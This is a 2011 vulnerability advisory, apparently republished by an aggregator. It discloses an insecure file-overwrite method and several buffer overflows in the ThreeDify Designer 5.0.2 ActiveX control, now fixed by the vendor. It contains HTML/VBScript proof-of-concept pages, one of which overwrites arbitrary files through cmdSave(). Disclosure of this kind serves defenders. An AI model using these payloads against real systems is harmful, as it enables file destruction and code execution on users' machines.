ThreeDify Designer 5.0.2 Insecure Method / Buffer Overflows

🗓️ 04 Aug 2011 00:00:00Reported by High-Tech Bridge SAType
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ThreeDify Designer 5.0.2 Insecure Method / Buffer Overflows, High Risk, Fixed by Vendo
`=========================================  
Vulnerability ID: HTB23021  
Reference: http://www.htbridge.ch/advisory/threedify_designer_activex_control_insecure_method.html  
Product: ThreeDify Designer  
Vendor: ThreeDify ( http://www.threedify.com )   
Vulnerable Version: 5.0.2 and probably prior  
Tested on: 5.0.2  
Vendor Notification: 07 June 2011   
Vulnerability Type: Insecure Method  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in ThreeDify Designer ActiveX control, which can be exploited to overwrite arbitrary files.  
  
The vulnerability is caused due to the ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control including the insecure "cmdSave()" method.   
This can be exploited to corrupt arbitrary files in the context of the currently logged-on user.  
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="FilePath\Filename_to_create_or_to_overwrite"  
target.cmdSave arg1   
End Sub  
  
</script>  
</html>  
  
Solution: Upgrade to the most recent version  
  
  
=========================================  
Vulnerability ID: HTB23020  
Reference: http://www.htbridge.ch/advisory/threedify_designer_activex_control_multiple_buffer_overflow_vulnerabilities.html  
Product: ThreeDify Designer  
Vendor: ThreeDify ( http://www.threedify.com )   
Vulnerable Version: 5.0.2 and probably prior  
Tested on: 5.0.2  
Vendor Notification: 07 June 2011   
Vulnerability Type: Buffer Overflow  
Status: Fixed by Vendor  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered a multiple buffer overflow vulnerabilities in ThreeDify Designer ActiveX control.  
  
1) User-supplied data in "fileName" parameter is not properly bound-checked before being copied into an insufficiently sized buffer in "cmdExport()" method in ActiveSolid.dll file.  
Successful exploitation of the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application.  
The following PoC code is available:  
  
  
<html>  
<body>  
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>  
<script language='vbscript'>  
arg1=String(3000, "A")  
target.cmdExport arg1   
</script>  
</body>  
</html>  
  
  
2) User-supplied data in "fileName" parameter is not properly bound-checked before being copied into an insufficiently sized buffer in "cmdImport()" method in ActiveSolid.dll file.  
Successful exploitation of the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application.  
The following PoC code is available:  
  
  
<html>  
<body>  
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>  
<script language='vbscript'>  
arg1=String(3000, "A")  
target.cmdImport arg1   
</script>  
</body>  
</html>  
  
  
3) User-supplied data in "fileName" parameter is not properly bound-checked before being copied into an insufficiently sized buffer in "cmdOpen()" method in ActiveSolid.dll file.  
Successful exploitation of the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application.  
The following PoC code is available:  
  
  
<html>  
<body>  
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>  
<script language='vbscript'>  
arg1=String(3000, "A")  
target.cmdOpen arg1   
</script>  
</body>  
</html>  
  
  
4) User-supplied data in "fileName" parameter is not properly bound-checked before being copied into an insufficiently sized buffer in "cmdSave()" method in ActiveSolid.dll file.  
Successful exploitation of the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application.  
The following PoC code is available:  
  
  
<html>  
<body>  
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>  
<script language='vbscript'>  
arg1=String(3000, "A")  
target.cmdSave arg1   
</script>  
</body>  
</html>  
  
Solution: Upgrade to the most recent version  
`
04 Aug 2011 00:00Current
0.4Low risk
Vulners AI Score0.4